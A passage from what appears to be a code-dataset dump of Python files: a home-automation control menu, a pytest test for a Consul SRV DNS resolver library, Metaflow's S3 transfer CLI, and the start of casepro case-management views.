print(\"\"\"Home-automation menu:\n 1. Change Setpoint\n 2. Show values\n 3. Show weather\n 4. Toggle test bit\n 5. Change nightsink temperature\n 0. Exit\n \"\"\")\n choice = input('Enter an option: ')\n action = self.choices.get(choice)\n if action:\n action()\n else:\n print(\"{0} is not a valid choice\".format(choice))\n\n time.sleep(5)\n\n\n def set_three_day_temp(self):\n self.ThreeDayTemp += self.VS1_GT3.temp / 72.0\n\n def change_sp(self):\n value1 = input('Enter outside temperature: ')\n value2 = input('Enter forward temperature: ')\n try:\n self.Komp.DictVarden[int(value1)] = int(value2)\n except KeyError as e:\n print('Invalid values entered, {}'.format(e))\n\n def change_nightsink(self):\n try:\n nightsink = float(input('Enter nightsink temperature: '))\n except ValueError as e:\n print('Value {} is not a float'.format(nightsink))\n else:\n self.Komp.value_to_lower = nightsink\n\n\n def show_values(self):\n print('GT1 {0:.1f}'.format(self.VS1_GT1.temp))\n print('GT2 {0:.1f}'.format(self.VS1_GT2.temp))\n print('GT3 {0:.1f}'.format(self.VS1_GT3.temp))\n # print('Solpanel - GT1 - uppe {0:.1f}'.format(self.SUN_GT1.temp))\n print('Solpanel - GT2 - nere {0:.1f}'.format(self.SUN_GT2.temp))\n print('SP {0:.1f}'.format(self.Setpoint_VS1))\n print('Nattsänkning {}'.format(self.VS1_SV1_SP_Down))\n print('Börvärde{}'.format(self.Komp.DictVarden))\n\n def show_weather(self):\n print(self.Weather_State)\n\n def toggle_out(self):\n self.IOVariables['b_Test']['Value'] = not self.IOVariables['b_Test']['Value']\n print('b_test info: {testvar}'.format(testvar=self.IOVariables['b_Test']))\n\n def exit(self):\n print('System exits...')\n # shutdown_server()\n print('System exits...')\n self.exit_flag = True\n print('System exits...')\n time.sleep(5)\n raise SystemExit\n\n def check_if_new_day(self):\n if self.datumtid.day != datetime.date.today().day:\n # if a new day...\n self.datumtid = datetime.date.today()\n\n def data_func(self, read_or_write, data_request, write_value):\n print('using the func')\n # Method for communicating with asyncio socket server!\n self.shared_dict = {\n 'komp': self.Komp.DictVarden,\n self.VS1_CP1_Class.Name: {\n 'Out': self.VS1_CP1_Class.Out,\n 'Man': self.VS1_CP1_Class.Man,\n 'S1': self.VS1_CP1_Class.S1,\n 'S2': self.VS1_CP1_Class.S2,\n 'S3': self.VS1_CP1_Class.S3,\n 'T1': self.VS1_CP1_Class.T1,\n 'T2': self.VS1_CP1_Class.T2,\n 'T3': self.VS1_CP1_Class.T3,\n 'LarmDelay': self.VS1_CP1_Class.LarmDelay\n },\n self.VS1_CP2_Class.Name: {\n 'Out': self.VS1_CP2_Class.Out,\n 'Man': self.VS1_CP2_Class.Man,\n 'S1': self.VS1_CP2_Class.S1,\n 'S2': self.VS1_CP2_Class.S2,\n 'S3': self.VS1_CP2_Class.S3,\n 'T1': self.VS1_CP2_Class.T1,\n 'T2': self.VS1_CP2_Class.T2,\n 'T3': self.VS1_CP2_Class.T3,\n 'LarmDelay': self.VS1_CP2_Class.LarmDelay\n },\n self.VS1_SV1_Class.Name: {\n 'deadband': self.VS1_SV1_Class.deadband,\n 'Time_Open': self.VS1_SV1_Class.Time_Open,\n 'Time_Close': self.VS1_SV1_Class.Time_Close,\n 'Open_IO': self.VS1_SV1_Class.Open_IO,\n 'Close_IO': self.VS1_SV1_Class.Close_IO\n },\n self.VS1_GT1.Name: self.VS1_GT1.temp,\n self.VS1_GT2.Name: self.VS1_GT2.temp,\n self.VS1_GT3.Name: self.VS1_GT3.temp,\n self.SUN_GT2.Name: self.SUN_GT2.temp,\n 'Setpoint_VS1': self.Setpoint_VS1,\n 'time': time.time(),\n 'IOVariables': self.IOVariables,\n 'update_from_flask': False,\n 'update_from_main': False\n }\n if read_or_write is 'r':\n return self.shared_dict[data_request]\n elif read_or_write is 'w':\n print(self.__dict__)\n print('Changing value in main {}'.format(self.__dict__[data_request]))\n self.__dict__[data_request] = write_value\n print('Changed value in main {}'.format(self.__dict__[data_request]))\n\n\ndef main():\n ML = MainLoop()\n # threading.Thread(target=ML.FlaskLoop).start()\n # threading.Thread(target=ML.control_loop).start()\n # threading.Thread(target=ML.interaction_loop).start()\n # threading.Thread(target=ML.interact).start()\n\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":21300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"27959324","text":"import srv_hijacker\nimport requests\nimport pytest\nfrom uuid import uuid4\n\nCONSUL_HOST = \"127.0.0.1\"\nCONSUL_DNS_PORT = \"8600\"\nCONSUL_API_PORT = \"8500\"\nCONSUL_API_URL = f\"{CONSUL_HOST}:{CONSUL_API_PORT}\"\n\n\ndef test_hijack(consul_test_service_url):\n # Before 'hijack' is run, this request must fail\n with pytest.raises(requests.exceptions.ConnectionError):\n requests.get(consul_test_service_url)\n\n srv_hijacker.hijack(\n host_regex=r'service.consul$',\n srv_dns_host=\"127.0.0.1\",\n srv_dns_port=\"8600\")\n\n # Now that the monkey patching is done, this should succeed\n response = requests.get(consul_test_service_url)\n assert response.status_code == 200\n\n # Making sure a normal requests passes even after the patch is done\n response = requests.get(\"https://httpbin.org/get\")\n assert response.status_code == 200\n\n # Patching again shouldn't cause issues\n srv_hijacker.hijack(\n host_regex=r'service.consul$',\n srv_dns_host=\"127.0.0.1\",\n srv_dns_port=\"8600\")\n\n response = requests.get(consul_test_service_url)\n assert response.status_code == 200\n response = requests.get(\"https://httpbin.org/get\")\n assert response.status_code == 200\n\n\n@pytest.fixture\ndef consul_test_service_url():\n # Let's register a service named 'test' to point back to consul itself\n register_service_on_consul(\"test\", CONSUL_HOST, CONSUL_API_PORT)\n\n # We can now use a consul endpoint itself for testing.\n return \"http://test.service.consul/v1/agent/services\"\n\n\ndef register_service_on_consul(service_name, service_host, service_port):\n url = f\"http://{CONSUL_API_URL}/v1/agent/service/register\"\n response = requests.put(\n url,\n json={\n \"Name\": service_name,\n \"Address\": service_host,\n \"Port\": int(service_port)\n })\n\n assert response.status_code == 200\n","sub_path":"tests/test_srv_hijacker.py","file_name":"test_srv_hijacker.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"576277567","text":"from __future__ import print_function\n\nimport json\nimport time\nimport math\nimport sys\nimport os\nimport traceback\nfrom hashlib import sha1\nfrom tempfile import NamedTemporaryFile\nfrom multiprocessing import Process, Queue\nfrom itertools import starmap, chain, islice\n\nfrom boto3.s3.transfer import TransferConfig\n\ntry:\n # python2\n from urlparse import urlparse\n from Queue import Full as QueueFull\nexcept:\n # python3\n from urllib.parse import urlparse\n from queue import Full as QueueFull\n\nimport click\n\n# s3op can be launched as a stand-alone script. We must set\n# PYTHONPATH for the parent Metaflow explicitly.\nsys.path.insert(0,\\\n os.path.abspath(os.path.join(os.path.dirname(__file__), '../../')))\n\n# we use Metaflow's parallel_imap_unordered instead of\n# multiprocessing.Pool because https://bugs.python.org/issue31886\nfrom metaflow.util import TempDir, url_quote, url_unquote\nfrom metaflow.multicore_utils import parallel_map\nfrom metaflow.datatools.s3util import aws_retry, read_in_chunks\n\nNUM_WORKERS_DEFAULT = 64\n\nDOWNLOAD_FILE_THRESHOLD = 2 * TransferConfig().multipart_threshold\nDOWNLOAD_MAX_CHUNK = 2 * 1024 * 1024 * 1024 - 1\nclass S3Url(object):\n def __init__(self,\n bucket, path, url, local, prefix,\n content_type=None, metadata=None, range=None):\n\n self.bucket = bucket\n self.path = path\n self.url = url\n self.local = local\n self.prefix = prefix\n self.content_type = content_type\n self.metadata = metadata\n self.range = range\n\n def __str__(self):\n return self.url\n\n# We use error codes instead of Exceptions, which are trickier to\n# handle reliably in a multi-process world\nERROR_INVALID_URL = 4\nERROR_NOT_FULL_PATH = 5\nERROR_URL_NOT_FOUND = 6\nERROR_URL_ACCESS_DENIED = 7\nERROR_WORKER_EXCEPTION = 8\nERROR_VERIFY_FAILED = 9\nERROR_LOCAL_FILE_NOT_FOUND = 10\n\ndef format_triplet(prefix, url='', local=''):\n return u' '.join(url_quote(x).decode('utf-8') for x in (prefix, url, local))\n\n# I can't understand what's the right way to deal\n# with boto errors. This function can be replaced\n# with better error handling code.\ndef normalize_client_error(err):\n error_code = err.response['Error']['Code']\n try:\n return int(error_code)\n except ValueError:\n if error_code == 'AccessDenied':\n return 403\n if error_code == 'NoSuchKey':\n return 404\n return error_code\n\n# S3 worker pool\n\ndef worker(result_file_name, queue, mode):\n # Interpret mode, it can either be a single op or something like\n # info_download or info_upload which implies:\n # - for download: we need to return the information as well\n # - for upload: we need to not overwrite the file if it exists\n modes = mode.split('_')\n pre_op_info = False\n if len(modes) > 1:\n pre_op_info = True\n mode = modes[1]\n else:\n mode = modes[0]\n\n def op_info(url):\n try:\n head = s3.head_object(Bucket=url.bucket, Key=url.path)\n to_return = {\n 'error': None,\n 'size': head['ContentLength'],\n 'content_type': head['ContentType'],\n 'metadata': head['Metadata']}\n except client_error as err:\n error_code = normalize_client_error(err)\n if error_code == 404:\n to_return = {'error': ERROR_URL_NOT_FOUND, 'raise_error': err}\n elif error_code == 403:\n to_return = {'error': ERROR_URL_ACCESS_DENIED, 'raise_error': err}\n else:\n to_return = {'error': error_code, 'raise_error': err}\n return to_return\n\n with open(result_file_name, 'w') as result_file:\n try:\n from metaflow.datatools.s3util import get_s3_client\n s3, client_error = get_s3_client()\n while True:\n url, idx = queue.get()\n if url is None:\n break\n if mode == 'info':\n result = op_info(url)\n orig_error = result.get('raise_error', None)\n if orig_error:\n del result['raise_error']\n with open(url.local, 'w') as f:\n json.dump(result, f)\n elif mode == 'download':\n tmp = NamedTemporaryFile(dir='.', mode='wb', delete=False)\n try:\n if url.range:\n resp = s3.get_object(\n Bucket=url.bucket,\n Key=url.path,\n Range=url.range)\n else:\n resp = s3.get_object(\n Bucket=url.bucket,\n Key=url.path)\n sz = resp['ContentLength']\n if not url.range and sz > DOWNLOAD_FILE_THRESHOLD:\n # In this case, it is more efficient to use download_file as it\n # will download multiple parts in parallel (it does it after\n # multipart_threshold)\n s3.download_file(url.bucket, url.path, tmp.name)\n else:\n read_in_chunks(tmp, resp['Body'], sz, DOWNLOAD_MAX_CHUNK)\n tmp.close()\n os.rename(tmp.name, url.local)\n except client_error as err:\n tmp.close()\n os.unlink(tmp.name)\n error_code = normalize_client_error(err)\n if error_code == 404:\n result_file.write(\"%d %d\\n\" % (idx, -ERROR_URL_NOT_FOUND))\n continue\n elif error_code == 403:\n result_file.write(\"%d %d\\n\" % (idx, -ERROR_URL_ACCESS_DENIED))\n continue\n else:\n raise\n # TODO specific error message for out of disk space\n # If we need the metadata, get it and write it out\n if pre_op_info:\n with open('%s_meta' % url.local, mode='w') as f:\n args = {'size': resp['ContentLength']}\n if resp['ContentType']:\n args['content_type'] = resp['ContentType']\n if resp['Metadata'] is not None:\n args['metadata'] = resp['Metadata']\n json.dump(args, f)\n # Finally, we push out the size to the result_pipe since\n # the size is used for verification and other purposes and\n # we want to avoid file operations for this simple process\n result_file.write(\"%d %d\\n\" % (idx, resp['ContentLength']))\n else:\n # This is upload, if we have a pre_op, it means we do not\n # want to overwrite\n do_upload = False\n if pre_op_info:\n result_info = op_info(url)\n if result_info['error'] == ERROR_URL_NOT_FOUND:\n # We only upload if the file is not found\n do_upload = True\n else:\n # No pre-op so we upload\n do_upload = True\n if do_upload:\n extra=None\n if url.content_type or url.metadata:\n extra = {}\n if url.content_type:\n extra['ContentType'] = url.content_type\n if url.metadata is not None:\n extra['Metadata'] = url.metadata\n s3.upload_file(url.local, url.bucket, url.path, ExtraArgs=extra)\n # We indicate that the file was uploaded\n result_file.write(\"%d %d\\n\" % (idx, 0))\n except:\n traceback.print_exc()\n sys.exit(ERROR_WORKER_EXCEPTION)\n\ndef start_workers(mode, urls, num_workers):\n # We start the minimum of len(urls) or num_workers to avoid starting\n # workers that will definitely do nothing\n num_workers = min(num_workers, len(urls))\n queue = Queue(len(urls) + num_workers)\n procs = {}\n\n # 1. push sources and destinations to the queue\n for idx, elt in enumerate(urls):\n queue.put((elt, idx))\n\n # 2. push end-of-queue markers\n for i in range(num_workers):\n queue.put((None, None))\n\n # 3. Prepare the result structure\n sz_results = [None]*len(urls)\n\n # 4. start processes\n with TempDir() as output_dir:\n for i in range(num_workers):\n file_path = os.path.join(output_dir, str(i))\n p = Process(target=worker, args=(file_path, queue, mode))\n p.start()\n procs[p] = file_path\n\n # 5. wait for the processes to finish; we continuously update procs\n # to remove all processes that have finished already\n while procs:\n new_procs = {}\n for proc, out_path in procs.items():\n proc.join(timeout=1)\n if proc.exitcode is not None:\n if proc.exitcode != 0:\n msg = 'Worker process failed (exit code %d)'\\\n % proc.exitcode\n exit(msg, proc.exitcode)\n # Read the output file if all went well\n with open(out_path, 'r') as out_file:\n for line in out_file:\n line_split = line.split(' ')\n sz_results[int(line_split[0])] = int(line_split[1])\n else:\n # Put this process back in the processes to check\n new_procs[proc] = out_path\n procs = new_procs\n return sz_results\n\ndef process_urls(mode, urls, verbose, num_workers):\n\n if verbose:\n print('%sing %d files..' % (mode.capitalize(), len(urls)),\n file=sys.stderr)\n\n start = time.time()\n sz_results = start_workers(mode, urls, num_workers)\n end = time.time()\n\n if verbose:\n total_size = sum(sz for sz in sz_results if sz is not None and sz > 0)\n bw = total_size / (end - start)\n print('%sed %d files, %s in total, in %d seconds (%s/s).'\\\n % (mode.capitalize(),\n len(urls),\n with_unit(total_size),\n end - start,\n with_unit(bw)),\n file=sys.stderr)\n return sz_results\n\n# Utility functions\n\ndef with_unit(x):\n if x > 1024**3:\n return '%.1fGB' % (x / 1024.**3)\n elif x > 1024**2:\n return '%.1fMB' % (x / 1024.**2)\n elif x > 1024:\n return '%.1fKB' % (x / 1024.)\n else:\n return '%d bytes' % x\n\n# S3Ops class is just a wrapper for get_size and list_prefix\n# required by @aws_retry decorator, which needs the reset_client\n# method. Otherwise they would be just stand-alone functions.\nclass S3Ops(object):\n\n def __init__(self):\n self.s3 = None\n self.client_error = None\n\n def reset_client(self, hard_reset=False):\n from metaflow.datatools.s3util import get_s3_client\n if hard_reset or self.s3 is None:\n self.s3, self.client_error = get_s3_client()\n\n @aws_retry\n def get_info(self, url):\n self.reset_client()\n try:\n head = self.s3.head_object(Bucket=url.bucket, Key=url.path)\n return True, url, [(S3Url(\n bucket=url.bucket,\n path=url.path,\n url=url.url,\n local=url.local,\n prefix=url.prefix,\n content_type=head['ContentType'],\n metadata=head['Metadata'],\n range=url.range), head['ContentLength'])]\n except self.client_error as err:\n error_code = normalize_client_error(err)\n if error_code == 404:\n return False, url, ERROR_URL_NOT_FOUND\n elif error_code == 403:\n return False, url, ERROR_URL_ACCESS_DENIED\n else:\n raise\n\n @aws_retry\n def list_prefix(self, prefix_url, delimiter=''):\n self.reset_client()\n url_base = 's3://%s/' % prefix_url.bucket\n try:\n paginator = self.s3.get_paginator('list_objects_v2')\n urls = []\n for page in paginator.paginate(Bucket=prefix_url.bucket,\n Prefix=prefix_url.path,\n Delimiter=delimiter):\n # note that an url may be both a prefix and an object\n # - the trailing slash is significant in S3\n if 'Contents' in page:\n for key in page.get('Contents', []):\n url = url_base + key['Key']\n urlobj = S3Url(url=url,\n bucket=prefix_url.bucket,\n path=key['Key'],\n local=generate_local_path(url),\n prefix=prefix_url.url)\n urls.append((urlobj, key['Size']))\n if 'CommonPrefixes' in page:\n # we get CommonPrefixes if Delimiter is a non-empty string\n for key in page.get('CommonPrefixes', []):\n url = url_base + key['Prefix']\n urlobj = S3Url(url=url,\n bucket=prefix_url.bucket,\n path=key['Prefix'],\n local=None,\n prefix=prefix_url.url)\n urls.append((urlobj, None))\n return True, prefix_url, urls\n except self.s3.exceptions.NoSuchBucket:\n return False, prefix_url, ERROR_URL_NOT_FOUND\n except self.client_error as err:\n if err.response['Error']['Code'] == 'AccessDenied':\n return False, prefix_url, ERROR_URL_ACCESS_DENIED\n else:\n raise\n\n# We want to reuse an s3 client instance over multiple operations.\n# This is accomplished by op_ functions below.\n\ndef op_get_info(urls):\n s3 = S3Ops()\n return [s3.get_info(url) for url in urls]\n\ndef op_list_prefix(prefix_urls):\n s3 = S3Ops()\n return [s3.list_prefix(prefix) for prefix in prefix_urls]\n\ndef op_list_prefix_nonrecursive(prefix_urls):\n s3 = S3Ops()\n return [s3.list_prefix(prefix, delimiter='/') for prefix in prefix_urls]\n\ndef exit(exit_code, url):\n if exit_code == ERROR_INVALID_URL:\n msg = 'Invalid url: %s' % url.url\n elif exit_code == ERROR_NOT_FULL_PATH:\n msg = 'URL not a full path: %s' % url.url\n elif exit_code == ERROR_URL_NOT_FOUND:\n msg = 'URL not found: %s' % url.url\n elif exit_code == ERROR_URL_ACCESS_DENIED:\n msg = 'Access denied to URL: %s' % url.url\n elif exit_code == ERROR_WORKER_EXCEPTION:\n msg = 'Download failed'\n elif exit_code == ERROR_VERIFY_FAILED:\n msg = 'Verification failed for URL %s, local file %s'\\\n % (url.url, url.local)\n elif exit_code == ERROR_LOCAL_FILE_NOT_FOUND:\n msg = 'Local file not found: %s' % url\n else:\n msg = 'Unknown error'\n print('s3op failed:\\n%s' % msg, file=sys.stderr)\n sys.exit(exit_code)\n\ndef verify_results(urls, verbose=False):\n for url, expected in urls:\n if verbose:\n print('verifying %s, expected %s' % (url, expected),\n file=sys.stderr)\n try:\n got = os.stat(url.local).st_size\n except OSError:\n raise\n exit(ERROR_VERIFY_FAILED, url)\n if expected != got:\n exit(ERROR_VERIFY_FAILED, url)\n if url.content_type or url.metadata:\n # Verify that we also have a metadata file present\n try:\n os.stat('%s_meta' % url.local)\n except OSError:\n exit(ERROR_VERIFY_FAILED, url)\n\ndef generate_local_path(url, suffix=None):\n # this function generates a safe local file name corresponding to\n # an S3 URL. URLs may be longer than maximum file length limit on Linux,\n # so we mostly hash the URL but retain the leaf part as a convenience\n # feature to ease eyeballing\n quoted = url_quote(url)\n fname = quoted.split(b'/')[-1].replace(b'.', b'_').replace(b'-', b'_')\n sha = sha1(quoted).hexdigest()\n if suffix:\n return u'-'.join((sha, fname.decode('utf-8'), suffix))\n return u'-'.join((sha, fname.decode('utf-8')))\n\ndef parallel_op(op, lst, num_workers):\n # parallel op divides work equally amongst num_workers\n # processes. This is a good strategy if the cost is\n # uniform over the units of work, e.g. op_get_info, which\n # is a single HEAD request to S3.\n #\n # This approach is less optimal with op_list_prefix where\n # the cost of S3 listing per prefix can vary drastically.\n # We could optimize this case by using a worker model with\n # a queue, like for downloads but the difference here is\n # that we need to return a value, which would require a\n # bit more work - something to consider if this turns out\n # to be a bottleneck.\n if lst:\n num = min(len(lst), num_workers)\n batch_size = math.ceil(len(lst) / float(num))\n batches = []\n it = iter(lst)\n while True:\n batch = list(islice(it, batch_size))\n if batch:\n batches.append(batch)\n else:\n break\n it = parallel_map(op, batches, max_parallel=num)\n for x in chain.from_iterable(it):\n yield x\n\n# CLI\n\n@click.group()\ndef cli():\n pass\n\n@cli.command('list', help='List S3 objects')\n@click.option('--inputs',\n type=click.Path(exists=True),\n help='Read input prefixes from the given file.')\n@click.option('--num-workers',\n default=NUM_WORKERS_DEFAULT,\n show_default=True,\n help='Number of concurrent connections.')\n@click.option('--recursive/--no-recursive',\n default=False,\n show_default=True,\n help='Download prefixes recursively.')\n@click.argument('prefixes', nargs=-1)\ndef lst(prefixes,\n inputs=None,\n num_workers=None,\n recursive=None):\n\n urllist = []\n for prefix, _ in _populate_prefixes(prefixes, inputs):\n src = urlparse(prefix)\n url = S3Url(url=prefix,\n bucket=src.netloc,\n path=src.path.lstrip('/'),\n local=None,\n prefix=prefix)\n if src.scheme != 's3':\n exit(ERROR_INVALID_URL, url)\n urllist.append(url)\n\n op = op_list_prefix if recursive else op_list_prefix_nonrecursive\n urls = []\n for success, prefix_url, ret in parallel_op(op, urllist, num_workers):\n if success:\n urls.extend(ret)\n else:\n exit(ret, prefix_url)\n\n for url, size in urls:\n if size is None:\n print(format_triplet(url.prefix, url.url))\n else:\n print(format_triplet(url.prefix, url.url, str(size)))\n\n@cli.command(help='Upload files to S3')\n@click.option('--file',\n 'files',\n type=(click.Path(exists=True), str),\n multiple=True,\n help='Local file->S3Url pair to upload. '\n 'Can be specified multiple times.')\n@click.option('--filelist',\n type=click.Path(exists=True),\n help='Read local file -> S3 URL mappings from the given file.')\n@click.option('--num-workers',\n default=NUM_WORKERS_DEFAULT,\n show_default=True,\n help='Number of concurrent connections.')\n@click.option('--verbose/--no-verbose',\n default=True,\n show_default=True,\n help='Print status information on stderr.')\n@click.option('--overwrite/--no-overwrite',\n default=True,\n show_default=True,\n help='Overwrite key if it already exists in S3.')\n@click.option('--listing/--no-listing',\n default=False,\n show_default=True,\n help='Print S3 URLs upload to on stdout.')\ndef put(files=None,\n filelist=None,\n num_workers=None,\n verbose=None,\n overwrite=True,\n listing=None):\n\n def _files():\n for local, url in files:\n yield url_unquote(local), url_unquote(url), None, None\n if filelist:\n for line in open(filelist, mode='rb'):\n r = json.loads(line)\n local = r['local']\n url = r['url']\n content_type = r.get('content_type', None)\n metadata = r.get('metadata', None)\n if not os.path.exists(local):\n exit(ERROR_LOCAL_FILE_NOT_FOUND, local)\n yield local, url, content_type, metadata\n\n def _make_url(local, user_url, content_type, metadata):\n src = urlparse(user_url)\n url = S3Url(url=user_url,\n bucket=src.netloc,\n path=src.path.lstrip('/'),\n local=local,\n prefix=None,\n content_type=content_type,\n metadata=metadata)\n if src.scheme != 's3':\n exit(ERROR_INVALID_URL, url)\n if not src.path:\n exit(ERROR_NOT_FULL_PATH, url)\n return url\n\n urls = list(starmap(_make_url, _files()))\n ul_op = 'upload'\n if not overwrite:\n ul_op = 'info_upload'\n sz_results = process_urls(ul_op, urls, verbose, num_workers)\n urls = [url for url, sz in zip(urls, sz_results) if sz is not None]\n if listing:\n for url in urls:\n print(format_triplet(url.url))\n\ndef _populate_prefixes(prefixes, inputs):\n # Returns a tuple: first element is the prefix and second element\n # is the optional range (or None if the entire prefix is requested)\n if prefixes:\n prefixes = [(url_unquote(p), None) for p in prefixes]\n else:\n prefixes = []\n if inputs:\n with open(inputs, mode='rb') as f:\n for l in f:\n s = l.split(b' ')\n if len(s) > 1:\n prefixes.append(\n (url_unquote(s[0].strip()), url_unquote(s[1].strip())))\n else:\n prefixes.append((url_unquote(s[0].strip()), None))\n return prefixes\n\n@cli.command(help='Download files from S3')\n@click.option('--recursive/--no-recursive',\n default=False,\n show_default=True,\n help='Download prefixes recursively.')\n@click.option('--num-workers',\n default=NUM_WORKERS_DEFAULT,\n show_default=True,\n help='Number of concurrent connections.')\n@click.option('--inputs',\n type=click.Path(exists=True),\n help='Read input prefixes from the given file.')\n@click.option('--verify/--no-verify',\n default=True,\n show_default=True,\n help='Verify that files were loaded correctly.')\n@click.option('--info/--no-info',\n default=True,\n show_default=True,\n help='Return user tags and content-type')\n@click.option('--allow-missing/--no-allow-missing',\n default=False,\n show_default=True,\n help='Do not exit if missing files are detected. '\\\n 'Implies --verify.')\n@click.option('--verbose/--no-verbose',\n default=True,\n show_default=True,\n help='Print status information on stderr.')\n@click.option('--listing/--no-listing',\n default=False,\n show_default=True,\n help='Print S3 URL -> local file mapping on stdout.')\n@click.argument('prefixes', nargs=-1)\ndef get(prefixes,\n recursive=None,\n num_workers=None,\n inputs=None,\n verify=None,\n info=None,\n allow_missing=None,\n verbose=None,\n listing=None):\n\n # Construct a list of URL (prefix) objects\n urllist = []\n for prefix, r in _populate_prefixes(prefixes, inputs):\n src = urlparse(prefix)\n url = S3Url(url=prefix,\n bucket=src.netloc,\n path=src.path.lstrip('/'),\n local=generate_local_path(prefix),\n prefix=prefix,\n range=r)\n if src.scheme != 's3':\n exit(ERROR_INVALID_URL, url)\n if not recursive and not src.path:\n exit(ERROR_NOT_FULL_PATH, url)\n urllist.append(url)\n # Construct a url->size mapping and get content-type and metadata if needed\n op = None\n dl_op = 'download'\n if recursive:\n op = op_list_prefix\n if verify or verbose or info:\n dl_op = 'info_download'\n if op:\n urls = []\n # NOTE - we must retain the order of prefixes requested\n # and the listing order returned by S3\n for success, prefix_url, ret in parallel_op(op, urllist, num_workers):\n if success:\n urls.extend(ret)\n elif ret == ERROR_URL_NOT_FOUND and allow_missing:\n urls.append((prefix_url, None))\n else:\n exit(ret, prefix_url)\n else:\n # pretend zero size since we don't need it for anything.\n # it can't be None though, to make sure the listing below\n # works correctly (None denotes a missing file)\n urls = [(prefix_url, 0) for prefix_url in urllist]\n\n # exclude the non-existent files from loading\n to_load = [url for url, size in urls if size is not None]\n sz_results = process_urls(dl_op, to_load, verbose, num_workers)\n # We check if there is any access denied\n is_denied = [sz == -ERROR_URL_ACCESS_DENIED for sz in sz_results]\n if any(is_denied):\n # Find the first one to return that as an error\n for i, b in enumerate(is_denied):\n if b:\n exit(ERROR_URL_ACCESS_DENIED, to_load[i])\n if not allow_missing:\n is_missing = [sz == -ERROR_URL_NOT_FOUND for sz in sz_results]\n if any(is_missing):\n # Find the first one to return that as an error\n for i, b in enumerate(is_missing):\n if b:\n exit(ERROR_URL_NOT_FOUND, to_load[i])\n # Postprocess\n if verify:\n # Verify only results with an actual size (so actual files)\n verify_results([(url, sz) for url, sz in zip(to_load, sz_results)\n if sz != -ERROR_URL_NOT_FOUND], verbose=verbose)\n\n idx_in_sz = 0\n if listing:\n for url, _ in urls:\n sz = None\n if idx_in_sz != len(to_load) and url.url == to_load[idx_in_sz].url:\n sz = sz_results[idx_in_sz] if sz_results[idx_in_sz] >= 0 else None\n idx_in_sz += 1\n if sz is None:\n # This means that either the initial url had a None size or\n # that after loading, we found a None size\n print(format_triplet(url.url))\n else:\n print(format_triplet(url.prefix, url.url, url.local))\n\n@cli.command(help='Get info about files from S3')\n@click.option('--num-workers',\n default=NUM_WORKERS_DEFAULT,\n show_default=True,\n help='Number of concurrent connections.')\n@click.option('--inputs',\n type=click.Path(exists=True),\n help='Read input prefixes from the given file.')\n@click.option('--verbose/--no-verbose',\n default=True,\n show_default=True,\n help='Print status information on stderr.')\n@click.option('--listing/--no-listing',\n default=False,\n show_default=True,\n help='Print S3 URL -> local file mapping on stdout.')\n@click.argument('prefixes', nargs=-1)\ndef info(prefixes,\n num_workers=None,\n inputs=None,\n verbose=None,\n listing=None):\n\n # Construct a list of URL (prefix) objects\n urllist = []\n for prefix, _ in _populate_prefixes(prefixes, inputs):\n src = urlparse(prefix)\n url = S3Url(url=prefix,\n bucket=src.netloc,\n path=src.path.lstrip('/'),\n local=generate_local_path(prefix, suffix='info'),\n prefix=prefix,\n range=None)\n if src.scheme != 's3':\n exit(ERROR_INVALID_URL, url)\n urllist.append(url)\n\n process_urls('info', urllist, verbose, num_workers)\n\n if listing:\n for url in urllist:\n print(format_triplet(url.prefix, url.url, url.local))\n\nif __name__ == '__main__':\n cli(auto_envvar_prefix='S3OP')","sub_path":"metaflow/datatools/s3op.py","file_name":"s3op.py","file_ext":"py","file_size_in_byte":29213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"27965770","text":"from __future__ import absolute_import, unicode_literals\n\nfrom casepro.contacts.models import Group\nfrom casepro.msgs.models import Message, MessageFolder, Label\nfrom casepro.utils import parse_csv, json_encode, datetime_to_microseconds, microseconds_to_datetime\nfrom casepro.utils.export import BaseDownloadView\nfrom dash.orgs.models import Org, TaskState\nfrom dash.orgs.views import OrgPermsMixin, OrgObjPermsMixin\nfrom datetime import timedelta\nfrom django import forms\nfrom django.core.cache import cache\nfrom django.db.transaction import non_atomic_requests\nfrom el_pagination.paginators import LazyPaginator\nfrom django.http import HttpResponse, JsonResponse\nfrom django.utils.timezone import now\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.views.generic import View\nfrom smartmin.views import SmartCRUDL, SmartListView, SmartCreateView, SmartReadView\nfrom smartmin.views import SmartUpdateView, SmartDeleteView, SmartTemplateView\nfrom temba_client.utils import parse_iso8601\nfrom . import MAX_MESSAGE_CHARS\nfrom .models import AccessLevel, Case, CaseFolder, CaseExport, Partner\nfrom .tasks import case_export\n\n\nclass CaseSearchMixin(object):\n def derive_search(self):\n \"\"\"\n Collects and prepares case search parameters into JSON serializable dict\n \"\"\"\n folder = CaseFolder[self.request.GET['folder']]\n assignee = self.request.GET.get('assignee', None)\n after = parse_iso8601(self.request.GET.get('after', None))\n before = parse_iso8601(self.request.GET.get('before', None))\n\n return {\n 'folder': folder,\n 'assignee': assignee,\n 'after': after,\n 'before': before\n }\n\n\nclass CaseCRUDL(SmartCRUDL):\n model = Case\n actions = ('read', 'open', 'update_summary', 'fetch', 'search', 'timeline',\n 'note', 'reassign', 'close', 'reopen', 'label')\n\n class Read(OrgObjPermsMixin, SmartReadView):\n fields = ()\n\n def has_permission(self, request, *args, **kwargs):\n has_perm = super(CaseCRUDL.Read, self).has_permission(request, *args, **kwargs)\n return has_perm and self.get_object().access_level(self.request.user) >= AccessLevel.read\n\n def derive_queryset(self, **kwargs):\n return Case.get_all(self.request.org).select_related('org', 'assignee')\n\n def get_context_data(self, **kwargs):\n context = super(CaseCRUDL.Read, self).get_context_data(**kwargs)\n org = self.request.org\n\n labels = Label.get_all(self.request.org).order_by('name')\n partners = Partner.get_all(org).order_by('name')\n\n can_update = self.get_object().access_level(self.request.user) == AccessLevel.update\n\n # angular app requires context data in JSON format\n context['context_data_json'] = json_encode({\n 'case_obj': self.object.as_json(full_contact=True),\n 'all_labels': [l.as_json() for l in labels],\n 'all_partners': [p.as_json() for p in partners]\n })\n\n context['max_msg_chars'] = MAX_MESSAGE_CHARS\n context['can_update'] = can_update\n context['alert'] = self.request.GET.get('alert', None)\n return context\n\n class Open(OrgPermsMixin, SmartCreateView):\n \"\"\"\n 